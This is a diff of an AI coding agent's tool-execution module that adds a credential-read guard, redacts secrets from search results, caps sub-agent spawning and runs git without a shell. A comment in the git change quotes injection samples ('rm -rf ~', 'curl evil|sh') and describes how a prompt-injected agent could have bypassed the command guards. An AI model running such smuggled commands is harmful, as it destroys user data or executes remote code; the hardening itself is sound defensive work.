|
|
738
|
+
inDouble = !inDouble;
|
|
739
|
+
continue;
|
|
740
|
+
}
|
|
741
|
+
if (ch === "'" && !inDouble) {
|
|
742
|
+
inSingle = !inSingle;
|
|
743
|
+
continue;
|
|
744
|
+
}
|
|
745
|
+
if ((ch === " " || ch === "\t") && !inDouble && !inSingle) {
|
|
746
|
+
if (current.length > 0) {
|
|
747
|
+
args.push(current);
|
|
748
|
+
current = "";
|
|
749
|
+
}
|
|
750
|
+
continue;
|
|
751
|
+
}
|
|
752
|
+
current += ch;
|
|
753
|
+
}
|
|
754
|
+
if (current.length > 0) args.push(current);
|
|
755
|
+
return args;
|
|
756
|
+
}
|
|
757
|
+
|
|
671
758
|
/**
|
|
672
759
|
* Compute the content an edit tool WOULD write, without writing it — the
|
|
673
760
|
* left/right sides for an IDE diff review. Mirrors the corresponding
|
|
@@ -1029,6 +1116,53 @@ export async function executeTool(name, args, context = {}) {
|
|
|
1029
1116
|
}
|
|
1030
1117
|
}
|
|
1031
1118
|
|
|
1119
|
+
// Credential READ guard (Claude-Code 2.1.189 parity: `sandbox.credentials`
|
|
1120
|
+
// blocks reads of credential files / secret env vars). cc has no OS sandbox,
|
|
1121
|
+
// so the same intent is enforced at the tool layer: pulling the user's secrets
|
|
1122
|
+
// into model context is a confirm-first action. `read_file` aimed at a
|
|
1123
|
+
// credential file, and `run_shell` commands that cat a credential file or echo
|
|
1124
|
+
// a secret env var, are gated. An explicit settings `allow`/confirmed `ask`
|
|
1125
|
+
// (ruleAllowed) pre-authorizes; headless without a confirmer fails closed;
|
|
1126
|
+
// `CC_CREDENTIAL_GUARD=0` disables it. Unlike --safe-mode (which weakens
|
|
1127
|
+
// customizations), this safety surface stays on under --safe-mode by design.
|
|
1128
|
+
if (!ruleAllowed && (name === "read_file" || name === "run_shell")) {
|
|
1129
|
+
const {
|
|
1130
|
+
credentialFileReason,
|
|
1131
|
+
commandReadsCredentials,
|
|
1132
|
+
credentialGuardDisabled,
|
|
1133
|
+
} = await import("../lib/credential-guard.js");
|
|
1134
|
+
if (!credentialGuardDisabled(process.env)) {
|
|
1135
|
+
let credReason = null;
|
|
1136
|
+
if (name === "read_file" && args?.path) {
|
|
1137
|
+
credReason = credentialFileReason(args.path);
|
|
1138
|
+
} else if (name === "run_shell" && args?.command) {
|
|
1139
|
+
const hit = commandReadsCredentials(args.command);
|
|
1140
|
+
credReason = hit ? hit.reason : null;
|
|
1141
|
+
}
|
|
1142
|
+
if (credReason) {
|
|
1143
|
+
const confirm =
|
|
1144
|
+
context.permissionConfirm || context.shellConfirm || null;
|
|
1145
|
+
const ok =
|
|
1146
|
+
typeof confirm === "function"
|
|
1147
|
+
? await confirm({
|
|
1148
|
+
tool: name,
|
|
1149
|
+
args,
|
|
1150
|
+
rule: null,
|
|
1151
|
+
reason: `credential access: ${credReason}`,
|
|
1152
|
+
})
|
|
1153
|
+
: false;
|
|
1154
|
+
if (!ok) {
|
|
1155
|
+
const what =
|
|
1156
|
+
name === "read_file" ? `Reading "${args.path}"` : "This command";
|
|
1157
|
+
return {
|
|
1158
|
+
error: `[Credential Guard] ${what} accesses secrets (${credReason}) and requires confirmation — denied. Add a settings allow rule, or set CC_CREDENTIAL_GUARD=0 to bypass.`,
|
|
1159
|
+
policy: { decision: "ask", via: "credential-guard" },
|
|
1160
|
+
};
|
|
1161
|
+
}
|
|
1162
|
+
}
|
|
1163
|
+
}
|
|
1164
|
+
}
|
|
1165
|
+
|
|
1032
1166
|
// Plan mode: check if tool is allowed (a settings `allow` rule pre-authorizes)
|
|
1033
1167
|
if (
|
|
1034
1168
|
planManager.isActive() &&
|
|
@@ -1109,6 +1243,7 @@ export async function executeTool(name, args, context = {}) {
|
|
|
1109
1243
|
additionalDirectories: context.additionalDirectories || null,
|
|
1110
1244
|
ruleAllowed,
|
|
1111
1245
|
subAgentDepth: context.subAgentDepth || 0,
|
|
1246
|
+
subAgentBudget: context.subAgentBudget || null,
|
|
1112
1247
|
interactiveApproval: context.interactiveApproval || false,
|
|
1113
1248
|
});
|
|
1114
1249
|
} catch (err) {
|
|
@@ -1480,6 +1615,7 @@ async function executeToolInner(
|
|
|
1480
1615
|
additionalDirectories,
|
|
1481
1616
|
ruleAllowed = false,
|
|
1482
1617
|
subAgentDepth = 0,
|
|
1618
|
+
subAgentBudget = null,
|
|
1483
1619
|
interactiveApproval = false,
|
|
1484
1620
|
},
|
|
1485
1621
|
) {
|
|
@@ -1748,6 +1884,10 @@ async function executeToolInner(
|
|
|
1748
1884
|
// polls output + completion via check_shell. No timeout — that's the whole
|
|
1749
1885
|
// point of backgrounding (builds, test suites, dev servers).
|
|
1750
1886
|
if (args.run_in_background === true) {
|
|
1887
|
+
// Free memory from idle background tasks before adding another, so a
|
|
1888
|
+
// long agent run can't accumulate forgotten dev servers (no-op unless
|
|
1889
|
+
// the machine is actually under memory pressure).
|
|
1890
|
+
reapIdleBackgroundShellTasks();
|
|
1751
1891
|
const id = `bg_${++_backgroundTaskSeq}`;
|
|
1752
1892
|
const task = {
|
|
1753
1893
|
id,
|
|
@@ -1758,6 +1898,7 @@ async function executeToolInner(
|
|
|
1758
1898
|
signal: null,
|
|
1759
1899
|
error: null,
|
|
1760
1900
|
startedAt: new Date().toISOString(),
|
|
1901
|
+
lastActivityAt: Date.now(),
|
|
1761
1902
|
endedAt: null,
|
|
1762
1903
|
out: _newBgStream(),
|
|
1763
1904
|
err: _newBgStream(),
|
|
@@ -1789,11 +1930,17 @@ async function executeToolInner(
|
|
|
1789
1930
|
task.child = child;
|
|
1790
1931
|
if (child.stdout) {
|
|
1791
1932
|
child.stdout.setEncoding("utf8");
|
|
1792
|
-
child.stdout.on("data", (d) =>
|
|
1933
|
+
child.stdout.on("data", (d) => {
|
|
1934
|
+
task.lastActivityAt = Date.now();
|
|
1935
|
+
_appendBgStream(task.out, d);
|
|
1936
|
+
});
|
|
1793
1937
|
}
|
|
1794
1938
|
if (child.stderr) {
|
|
1795
1939
|
child.stderr.setEncoding("utf8");
|
|
1796
|
-
child.stderr.on("data", (d) =>
|
|
1940
|
+
child.stderr.on("data", (d) => {
|
|
1941
|
+
task.lastActivityAt = Date.now();
|
|
1942
|
+
_appendBgStream(task.err, d);
|
|
1943
|
+
});
|
|
1797
1944
|
}
|
|
1798
1945
|
child.on("error", (err) => {
|
|
1799
1946
|
task.status = "error";
|
|
@@ -1924,27 +2071,44 @@ async function executeToolInner(
|
|
|
1924
2071
|
});
|
|
1925
2072
|
}
|
|
1926
2073
|
|
|
1927
|
-
|
|
1928
|
-
|
|
1929
|
-
|
|
1930
|
-
|
|
1931
|
-
|
|
1932
|
-
|
|
1933
|
-
|
|
2074
|
+
// Run via argv (spawnSync, NO shell) so shell metacharacters in the
|
|
2075
|
+
// command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
|
|
2076
|
+
// cannot inject a second command. Previously execSync(`git ${cmd}`) ran
|
|
2077
|
+
// the whole string through a shell, and the destructive-git/credential/
|
|
2078
|
+
// run_shell guards only inspect the first token, so this was an arbitrary
|
|
2079
|
+
// command-execution bypass for a prompt-injected agent. Quoted args (a
|
|
2080
|
+
// commit message) keep their content via the quote-aware tokenizer.
|
|
2081
|
+
const gitArgs = tokenizeShellWords(normalizedCommand);
|
|
2082
|
+
const res = spawnSync("git", gitArgs, {
|
|
2083
|
+
cwd: args.cwd || cwd,
|
|
2084
|
+
encoding: "utf8",
|
|
2085
|
+
timeout: 60000,
|
|
2086
|
+
maxBuffer: 1024 * 1024,
|
|
2087
|
+
windowsHide: true,
|
|
2088
|
+
});
|
|
2089
|
+
const readOnly = isReadOnlyGitCommand(normalizedCommand);
|
|
2090
|
+
if (res.error) {
|
|
1934
2091
|
return attachDescriptor({
|
|
1935
|
-
|
|
2092
|
+
error: String(res.error.message || res.error).substring(0, 2000),
|
|
1936
2093
|
command: normalizedCommand,
|
|
1937
|
-
readOnly
|
|
2094
|
+
readOnly,
|
|
1938
2095
|
});
|
|
1939
|
-
}
|
|
2096
|
+
}
|
|
2097
|
+
if (res.status !== 0) {
|
|
2098
|
+
const stderr = String(res.stderr || "").substring(0, 2000);
|
|
1940
2099
|
return attachDescriptor({
|
|
1941
|
-
error:
|
|
1942
|
-
stderr
|
|
1943
|
-
exitCode:
|
|
2100
|
+
error: stderr || `git exited with code ${res.status}`,
|
|
2101
|
+
stderr,
|
|
2102
|
+
exitCode: res.status,
|
|
1944
2103
|
command: normalizedCommand,
|
|
1945
|
-
readOnly
|
|
2104
|
+
readOnly,
|
|
1946
2105
|
});
|
|
1947
2106
|
}
|
|
2107
|
+
return attachDescriptor({
|
|
2108
|
+
stdout: String(res.stdout || "").substring(0, 30000),
|
|
2109
|
+
command: normalizedCommand,
|
|
2110
|
+
readOnly,
|
|
2111
|
+
});
|
|
1948
2112
|
}
|
|
1949
2113
|
|
|
1950
2114
|
case "run_code": {
|
|
@@ -1994,6 +2158,7 @@ async function executeToolInner(
|
|
|
1994
2158
|
sessionId,
|
|
1995
2159
|
llmOptions,
|
|
1996
2160
|
subAgentDepth,
|
|
2161
|
+
subAgentBudget,
|
|
1997
2162
|
}),
|
|
1998
2163
|
);
|
|
1999
2164
|
}
|
|
@@ -2144,8 +2309,19 @@ async function executeToolInner(
|
|
|
2144
2309
|
? `dir /s /b *${args.pattern}* 2>NUL`
|
|
2145
2310
|
: `find . -name "*${args.pattern}*" -type f 2>/dev/null | head -20`;
|
|
2146
2311
|
|
|
2312
|
+
// Credential guard (Claude-Code 2.1.189 parity): a CONTENT search must not
|
|
2313
|
+
// become a side channel that exfils secrets the read_file / run_shell
|
|
2314
|
+
// guards already block. Windows `findstr /n` embeds the matching LINE
|
|
2315
|
+
// (e.g. `API_KEY=…` from a .env); POSIX `grep -l` returns only names. Any
|
|
2316
|
+
// hit whose source is a credential file is redacted to an existence-only
|
|
2317
|
+
// marker — the agent must read_file (confirm-gated) to view it.
|
|
2318
|
+
const { credentialFileReason } = isContent
|
|
2319
|
+
? await import("../lib/credential-guard.js")
|
|
2320
|
+
: { credentialFileReason: () => null };
|
|
2321
|
+
|
|
2147
2322
|
const hits = [];
|
|
2148
2323
|
const seen = new Set();
|
|
2324
|
+
const redactedCreds = new Set();
|
|
2149
2325
|
for (const root of roots) {
|
|
2150
2326
|
if (hits.length >= 20) break;
|
|
2151
2327
|
try {
|
|
@@ -2158,6 +2334,16 @@ async function executeToolInner(
|
|
|
2158
2334
|
for (const line of output.trim().split("\n")) {
|
|
2159
2335
|
const v = line.trim();
|
|
2160
2336
|
if (!v || seen.has(v)) continue;
|
|
2337
|
+
if (isContent) {
|
|
2338
|
+
// content hit is `file:line:text` (findstr /n) or a bare filename
|
|
2339
|
+
// (grep -l); pull the source file and redact credential matches.
|
|
2340
|
+
const src = v.match(/^(.+?):\d+:/)?.[1] ?? v;
|
|
2341
|
+
if (credentialFileReason(src)) {
|
|
2342
|
+
redactedCreds.add(src.replace(/\\/g, "/"));
|
|
2343
|
+
seen.add(v);
|
|
2344
|
+
continue;
|
|
2345
|
+
}
|
|
2346
|
+
}
|
|
2161
2347
|
// Qualify with the root so multi-root results stay unambiguous.
|
|
2162
2348
|
const labeled = roots.length > 1 ? `${root}: ${v}` : v;
|
|
2163
2349
|
seen.add(v);
|
|
@@ -2169,6 +2355,14 @@ async function executeToolInner(
|
|
|
2169
2355
|
}
|
|
2170
2356
|
}
|
|
2171
2357
|
|
|
2358
|
+
// One existence-only marker per credential file (never its contents).
|
|
2359
|
+
for (const f of redactedCreds) {
|
|
2360
|
+
if (hits.length >= 20) break;
|
|
2361
|
+
hits.push(
|
|
2362
|
+
`<credential file ${f}: matches redacted — use read_file (requires confirmation) to view>`,
|
|
2363
|
+
);
|
|
2364
|
+
}
|
|
2365
|
+
|
|
2172
2366
|
if (hits.length === 0) {
|
|
2173
2367
|
return attachDescriptor({ files: [], message: "No matches found" });
|
|
2174
2368
|
}
|
|
@@ -2659,6 +2853,18 @@ async function _executeRunCode(args, cwd) {
|
|
|
2659
2853
|
*/
|
|
2660
2854
|
export const MAX_SUB_AGENT_DEPTH = 5;
|
|
2661
2855
|
|
|
2856
|
+
/**
|
|
2857
|
+
* Max TOTAL sub-agents a single run may spawn across the whole tree. The depth
|
|
2858
|
+
* cap bounds how DEEP nesting goes (5), but not how WIDE: every level could fan
|
|
2859
|
+
* out many children, each with its own fresh iteration budget, so depth-cap
|
|
2860
|
+
* alone leaves total work ~budget^depth in a runaway/adversarial case. A shared
|
|
2861
|
+
* counter (threaded by reference through the tool context, like subAgentDepth)
|
|
2862
|
+
* gives a hard ceiling on the whole tree. Generous enough for legitimate
|
|
2863
|
+
* fan-out delegation; a model that blows past it is looping. Override per run
|
|
2864
|
+
* with `options.subAgentBudget`.
|
|
2865
|
+
*/
|
|
2866
|
+
export const MAX_SUB_AGENTS_PER_RUN = 32;
|
|
2867
|
+
|
|
2662
2868
|
/**
|
|
2663
2869
|
* Per-tool-result character cap fed back to the model. One giant tool output (a
|
|
2664
2870
|
* huge file, a verbose command, an MCP blob) must not blow the context window —
|
|
@@ -2689,6 +2895,39 @@ export function capToolResultString(serialized, max = MAX_TOOL_RESULT_CHARS) {
|
|
|
2689
2895
|
);
|
|
2690
2896
|
}
|
|
2691
2897
|
|
|
2898
|
+
/**
|
|
2899
|
+
* Serialize a tool result for the transcript without ever throwing. A plain
|
|
2900
|
+
* `JSON.stringify` throws on a circular reference, a BigInt, or a value whose
|
|
2901
|
+
* `toJSON` throws — and that call sits OUTSIDE executeTool's try/catch, so one
|
|
2902
|
+
* odd tool result would crash the whole agent turn. The happy path is identical
|
|
2903
|
+
* to `JSON.stringify` (returns its value verbatim, including `undefined`, which
|
|
2904
|
+
* `capToolResultString` already normalizes); only a throw falls back to a
|
|
2905
|
+
* circular- and BigInt-safe pass, then a last-resort string form.
|
|
2906
|
+
*/
|
|
2907
|
+
export function safeStringifyToolResult(value) {
|
|
2908
|
+
try {
|
|
2909
|
+
return JSON.stringify(value);
|
|
2910
|
+
} catch {
|
|
2911
|
+
try {
|
|
2912
|
+
const seen = new WeakSet();
|
|
2913
|
+
return JSON.stringify(value, (_k, v) => {
|
|
2914
|
+
if (typeof v === "bigint") return v.toString();
|
|
2915
|
+
if (v && typeof v === "object") {
|
|
2916
|
+
if (seen.has(v)) return "[Circular]";
|
|
2917
|
+
seen.add(v);
|
|
2918
|
+
}
|
|
2919
|
+
return v;
|
|
2920
|
+
});
|
|
2921
|
+
} catch {
|
|
2922
|
+
try {
|
|
2923
|
+
return String(value);
|
|
2924
|
+
} catch {
|
|
2925
|
+
return "[unserializable tool result]";
|
|
2926
|
+
}
|
|
2927
|
+
}
|
|
2928
|
+
}
|
|
2929
|
+
}
|
|
2930
|
+
|
|
2692
2931
|
/**
|
|
2693
2932
|
* Execute a spawn_sub_agent tool call.
|
|
2694
2933
|
* Creates an isolated SubAgentContext, runs it, and returns only the summary.
|
|
@@ -2705,6 +2944,22 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2705
2944
|
error: `spawn_sub_agent: max nesting depth (${MAX_SUB_AGENT_DEPTH}) reached — complete the task directly instead of delegating further.`,
|
|
2706
2945
|
};
|
|
2707
2946
|
}
|
|
2947
|
+
// Breadth cap: a shared counter (one object for the whole tree) bounds the
|
|
2948
|
+
// TOTAL sub-agents a run may spawn, so a wide fan-out can't blow up even
|
|
2949
|
+
// within the depth limit. Refuse + count BEFORE any work so the increment
|
|
2950
|
+
// can't be skipped by a later error.
|
|
2951
|
+
const subAgentBudget = ctx.subAgentBudget || null;
|
|
2952
|
+
if (subAgentBudget) {
|
|
2953
|
+
const max = Number.isFinite(subAgentBudget.max)
|
|
2954
|
+
? subAgentBudget.max
|
|
2955
|
+
: MAX_SUB_AGENTS_PER_RUN;
|
|
2956
|
+
if ((subAgentBudget.spawned || 0) >= max) {
|
|
2957
|
+
return {
|
|
2958
|
+
error: `spawn_sub_agent: max sub-agents per run (${max}) reached — complete remaining work directly instead of delegating further.`,
|
|
2959
|
+
};
|
|
2960
|
+
}
|
|
2961
|
+
subAgentBudget.spawned = (subAgentBudget.spawned || 0) + 1;
|
|
2962
|
+
}
|
|
2708
2963
|
let {
|
|
2709
2964
|
role,
|
|
2710
2965
|
task,
|
|
@@ -2807,6 +3062,9 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2807
3062
|
profile: profile || null,
|
|
2808
3063
|
llmOptions: subLlmOptions,
|
|
2809
3064
|
depth: currentDepth + 1, // nested spawns see their own level
|
|
3065
|
+
// Same shared counter object so the child's own spawns draw from the run's
|
|
3066
|
+
// single total-sub-agent pool (breadth cap spans the whole tree).
|
|
3067
|
+
subAgentBudget: ctx.subAgentBudget || null,
|
|
2810
3068
|
});
|
|
2811
3069
|
|
|
2812
3070
|
const emit = (type, payload) => {
|
|
@@ -2824,15 +3082,26 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2824
3082
|
}
|
|
2825
3083
|
};
|
|
2826
3084
|
|
|
3085
|
+
// Resolve the registry ONCE before the try so the failure path can also move
|
|
3086
|
+
// the sub-agent out of `_active` (the success path does this via complete()).
|
|
3087
|
+
const { SubAgentRegistry } =
|
|
3088
|
+
await import("../lib/sub-agent-registry.js").catch(() => ({
|
|
3089
|
+
SubAgentRegistry: null,
|
|
3090
|
+
}));
|
|
3091
|
+
let registry = null;
|
|
3092
|
+
if (SubAgentRegistry) {
|
|
3093
|
+
try {
|
|
3094
|
+
registry = SubAgentRegistry.getInstance();
|
|
3095
|
+
} catch (_err) {
|
|
3096
|
+
registry = null; // registry unavailable — non-critical
|
|
3097
|
+
}
|
|
3098
|
+
}
|
|
3099
|
+
|
|
2827
3100
|
try {
|
|
2828
3101
|
// Notify registry if available
|
|
2829
|
-
|
|
2830
|
-
await import("../lib/sub-agent-registry.js").catch(() => ({
|
|
2831
|
-
SubAgentRegistry: null,
|
|
2832
|
-
}));
|
|
2833
|
-
if (SubAgentRegistry) {
|
|
3102
|
+
if (registry) {
|
|
2834
3103
|
try {
|
|
2835
|
-
|
|
3104
|
+
registry.register(subCtx);
|
|
2836
3105
|
} catch (_err) {
|
|
2837
3106
|
// Registry not available — non-critical
|
|
2838
3107
|
}
|
|
@@ -2848,9 +3117,9 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2848
3117
|
const result = await subCtx.run(task);
|
|
2849
3118
|
|
|
2850
3119
|
// Complete in registry
|
|
2851
|
-
if (
|
|
3120
|
+
if (registry) {
|
|
2852
3121
|
try {
|
|
2853
|
-
|
|
3122
|
+
registry.complete(subCtx.id, result);
|
|
2854
3123
|
} catch (_err) {
|
|
2855
3124
|
// Non-critical
|
|
2856
3125
|
}
|
|
@@ -2879,6 +3148,18 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2879
3148
|
} catch (err) {
|
|
2880
3149
|
subCtx.forceComplete(err.message);
|
|
2881
3150
|
|
|
3151
|
+
// Move the failed sub-agent out of the registry's `_active` Map into bounded
|
|
3152
|
+
// history (mirrors the success path). Without this, a sub-agent whose run()
|
|
3153
|
+
// threw outside its own try (setup/summarize error) lingers in `_active`
|
|
3154
|
+
// forever and over-reports as "active" to monitors/UI.
|
|
3155
|
+
if (registry) {
|
|
3156
|
+
try {
|
|
3157
|
+
registry.complete(subCtx.id, subCtx.result);
|
|
3158
|
+
} catch (_err) {
|
|
3159
|
+
// Non-critical
|
|
3160
|
+
}
|
|
3161
|
+
}
|
|
3162
|
+
|
|
2882
3163
|
emit("sub-agent.failed", {
|
|
2883
3164
|
status: subCtx.status,
|
|
2884
3165
|
error: err.message,
|
|
@@ -4099,6 +4380,10 @@ const _CHECKPOINT_READ_ONLY = new Set([
|
|
|
4099
4380
|
"search_sessions",
|
|
4100
4381
|
]);
|
|
4101
4382
|
|
|
4383
|
+
// Rolling cap on auto-checkpoints per agent session — the engine prunes the
|
|
4384
|
+
// oldest beyond this so a long run can't accumulate unbounded refs.
|
|
4385
|
+
const MAX_AUTO_CHECKPOINTS_PER_SESSION = 100;
|
|
4386
|
+
|
|
4102
4387
|
let _checkpointStoreP = null;
|
|
4103
4388
|
function _loadCheckpointStore() {
|
|
4104
4389
|
if (!_checkpointStoreP) {
|
|
@@ -4129,6 +4414,10 @@ async function _autoCheckpointBeforeTool(toolContext, toolName, toolArgs) {
|
|
|
4129
4414
|
120,
|
|
4130
4415
|
),
|
|
4131
4416
|
skipIfUnchanged: true,
|
|
4417
|
+
// Bound auto-checkpoint history: a rolling safety net of the last N
|
|
4418
|
+
// mutating-tool states. Prevents unbounded ref growth + O(n²) nextId over
|
|
4419
|
+
// a long agentic run (rewinding 100+ tool calls back is already extreme).
|
|
4420
|
+
maxPerSession: MAX_AUTO_CHECKPOINTS_PER_SESSION,
|
|
4132
4421
|
});
|
|
4133
4422
|
return res?.id || null;
|
|
4134
4423
|
} catch {
|
|
@@ -4226,6 +4515,13 @@ export async function* agentLoop(messages, options) {
|
|
|
4226
4515
|
// Sub-agent nesting level (0 = main loop); spawn_sub_agent caps at
|
|
4227
4516
|
// MAX_SUB_AGENT_DEPTH using this.
|
|
4228
4517
|
subAgentDepth: options.subAgentDepth || 0,
|
|
4518
|
+
// Shared TOTAL-sub-agent counter for the whole run. Reuse the parent's
|
|
4519
|
+
// instance (passed by reference) so every nested level draws from one pool;
|
|
4520
|
+
// the main loop seeds it. Bounds breadth, complementing the depth cap.
|
|
4521
|
+
subAgentBudget: options.subAgentBudget || {
|
|
4522
|
+
spawned: 0,
|
|
4523
|
+
max: MAX_SUB_AGENTS_PER_RUN,
|
|
4524
|
+
},
|
|
4229
4525
|
};
|
|
4230
4526
|
|
|
4231
4527
|
throwIfAborted(signal);
|
|
@@ -4663,7 +4959,9 @@ export async function* agentLoop(messages, options) {
|
|
|
4663
4959
|
// Cap an individual tool result so one giant output can't blow the
|
|
4664
4960
|
// context — but tell the model when we cut it (no more silent
|
|
4665
4961
|
// mid-content slice). See MAX_TOOL_RESULT_CHARS / capToolResultString.
|
|
4666
|
-
const resultStr = capToolResultString(
|
|
4962
|
+
const resultStr = capToolResultString(
|
|
4963
|
+
safeStringifyToolResult(toolResult),
|
|
4964
|
+
);
|
|
4667
4965
|
const toolContent = warningMsg
|
|
4668
4966
|
? `${resultStr}\n\n${warningMsg}`
|
|
4669
4967
|
: resultStr;
|